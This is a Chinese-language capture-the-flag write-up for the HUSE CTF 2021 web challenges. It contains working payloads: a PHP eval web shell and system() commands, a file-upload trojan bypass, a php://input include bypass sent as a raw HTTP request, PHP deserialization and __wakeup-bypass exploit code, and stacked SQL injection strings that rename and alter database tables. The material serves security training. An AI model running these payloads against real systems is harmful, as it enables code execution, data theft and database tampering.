# huse 2021 ctf# 0x01 web# 1. web_signin1 2 3 4 5 6 7 8 9 10 11 <?php show_source(__FILE__ ); include ("config.php" );$a =@$_GET ['a' ];$b =@$_POST ['b' ];if ($a =="huse" && $b == "CTF" ){ echo $flag ; } else { echo "hello,do you know how to sign in?" ; } ?>
分析源码
题目要求 传 a 和 b 且 a 的值为 huse b 的值为 CTF
a 采用 get 方式传参 b 采用 post 方式传参
去除限制
发现提示 you are not login!
用 burpsuite 抓包查看
将 islogin 修改为 1
成功获取 flag
# 3. rbt_cmd打开页面提示 robots 访问 robots.txt 获取 cmd.php
shell.php
1 2 3 4 <?php show_source(__FILE__ ); @eval ($_GET ['shell' ]); ?>
1 ?shell=system("tac%20config.php");
# 4.easy_uploadf12 查看源码发现有上传框鼠标移到中间位置出现
发现白名单 jpg,png,jif
打开 burpsuite
准备好一句话木马上传,将文件改为 xx.php
获得目录 用 antsword
# 5.include1 2 3 4 5 6 7 8 9 10 11 <?php $page="pdata://hp://";//data while (strstr($page, "php://")) { $page=str_replace("php://", "", $page); } while (strstr($page, "data://")) { $page=str_replace("data://", "", $page); } echo $page;
1 2 3 4 5 6 7 8 9 10 11 12 GET /?page=pdata://hp://input HTTP/1.1 Host: 222.243.204.5:28082 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6 Cookie: session=f740e33b-f09b-4df7-a5bb-097cc1a9c9aa.dCC8kTElFu66NS7LYainSbq7dlE; isLogin=0 Connection: close Content-Length: 47 <?php system("cat husectf2021_1e90751f.php");?>
# 6.unserialize记一些 CTF 出现的序列化与反序列化的知识点和题目。
# 序列化和反序列化的概念序列化就是将对象转换成字符串。字符串包括 属性名 属性值 属性类型和该对象对应的类名。 反序列化则相反将字符串重新恢复成对象。 对象的序列化利于对象的保存和传输,也可以让多个文件共享对象。
# 序列化中常见的魔法函数:1 2 3 4 5 __construct() 创建对象时调用 __destruct() 销毁对象时调用 __toString() 当一个对象被当作一个字符串使用 __sleep() 在对象在被序列化之前运行 __wakeup() 将在序列化之后立即被调用
# 看一串字符串1 2 3 4 5 6 7 8 9 10 O:3:"Ctf":3{s:4:"flag";s:13:"flag{abedyui}";s:4:"name";s:7:"Sch0lar";s:3:"age";s:2:"18";} O代表对象 因为我们序列化的是一个对象 序列化数组则用A来表示 3 代表类名字占三个字符 ctf 类名 3 代表三个属性 s代表字符串 4代表属性名长度 flag属性名 s:13:"flag{abedyui}" 字符串 属性值长度 属性值
# 访问控制修饰符根据访问控制修饰符的不同 序列化后的 属性长度和属性值会有所不同,所以这里简单提一下
1 2 3 4 5 public(公有) protected(受保护) private(私有的) protected属性被序列化的时候属性值会变成:%00*%00属性名 private属性被序列化的时候属性值会变成:%00类名%00属性名
就像这样
1 O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}//这里是private属性被序列化
# 绕过__wakeup () 函数当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup 的执行。
1 2 //将上面的对象属性个数值改成逼真实个数打 O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
测试 demo
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 <?php class Demo { private $name = 'husectf2021'; private $file = 'index.php'; public function __construct($file) { $this->file = $file; } function __destruct() { echo "hello," . $this->name; echo @highlight_file($this->file, true); } function __wakeup() { if ($this->file != 'index.php') { //the secret is in the husectf2021.php $this->file = 'index.php'; } } } $A = new Demo('husectf2021.php'); $C = serialize($A); var_dump($C); $C = str_replace('O:4', 'O:+4',$C);//用+4 (绕过)preg_match $C = str_replace(':2:', ':3:',$C);//绕过wakeup 大于个数即可绕过 5,6都可 var_dump($C); //打印变量信息 var_dump(base64_encode($C)); ?>
将 base64 编码传入获得 flag
# 7.husesql输入 1’报错 推断存在 sql 注入
输入 1‘ and ‘1’='1 放回正确
1’ order by 2 – 正确 1’ order by 3 – 报错 推断字段数为二
1’ union select 1,2 报错提示过滤了
1 select|update|delete|drop|insert|where|
发现存在堆叠注入
1’;show databases;# // 堆叠 查数据库 -1’ and extractvalue (1,concat (1,version ()))-- + // 获得数据库名称
1’;show tables;# 查表
1’;show columns from ise_lab_2021husectf;# 查字段
-1’;show columns from words#
words 应该为默认查询表
方法一 。将要查询的 flag 字段改为默认表
添加一个 id 字段,并将其设置为主键和自动增加,以确定值的存在
-1’;ALTER TABLE ise_lab_2021husectf ADD (id int(11) primary key auto_increment);%23
1’;show columns from ise_lab_2021husectf;# 查看是否添加成功
将 flag 字段改名为 data
1 2 3 alter table words rename to aaaa;先把原来的words表名字改成别的,随便改都行 alter table ise_lab_2021husectf rename to words;将表ise_lab_2021husectf的名字改为words alter table words change flag id varchar(100);将改完名字后的表中的flag改为id,
=1’; alter table words rename to aaaa;alter table ise_lab_2021husectf rename to words;alter table words change flag id varchar(100);#
1’ or 1=1#
方法二。 用拼接构造请求
CONCAT 函数用于将两个字符串连接为一个字符串 例如
1 2 3 4 5 6 7 SQL> SELECT CONCAT('FIRST ', 'SECOND'); +----------------------------+ | CONCAT('FIRST ', 'SECOND') | +----------------------------+ | FIRST SECOND | +----------------------------+ 1 row in set (0.00 sec)
1 -1';use supersqli;set @sql=concat('s','elect `flag` from `ise_lab_2021husectf`');PREPARE sql_query FROM @sql;EXECUTE sql_query;--+
PREPARE 为预处理
方法三,handler 查询
1 2 -1';handler `ise_lab_2021husectf` open;handler `ise_lab_2021husectf` read first;#
# 8.unserialize21 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 <?php final class User { private $userData ; public function __construct ($loginAttempt ) //创建对象时调用 将值传给loginAttempt { $this ->userData = unserialize($loginAttempt ); if (!$this ->userData) throw new InvalidArgumentException ('Unable to reconstruct user data' ); } private function verifyUsername ( ) { return $this ->userData->username === 'husectfer' ; } private function verifyRandomVal ( ) { $this ->userData->randomValue = random_int(1e10 , 1e11 - 1 ); return (int )$this ->userData->rnd === $this ->userData->randomValue; } public function verify ( ) { if (!$this ->verifyUsername()) throw new InvalidArgumentException ('Invalid username' ); if (!$this ->verifyRandomVal()) throw new InvalidArgumentException ('Invalid random token value' ); return true ; } } if (isset ($_GET ['var' ])) { $var = base64_decode($_GET ['var' ]); $user = new User($var ); if ($user ->verify()) { highlight_file("flag.php" ); } } else { highlight_file("index.php" ); }
代码审计 要构造 username === husectfer rnd=randomValue
贴出构造代码
1 2 3 4 5 6 7 8 9 10 11 <?php $x = array ();$x ['username' ] = "husectfer" ;$x ['randomValue' ] = random_int(1e10 , 1e11 - 1 );$x ['randomValue' ] = 0 ;$x ['rnd' ] = &$x ['randomValue' ]; echo (serialize((object )$x )); echo base64_encode(serialize((object )$x ));?>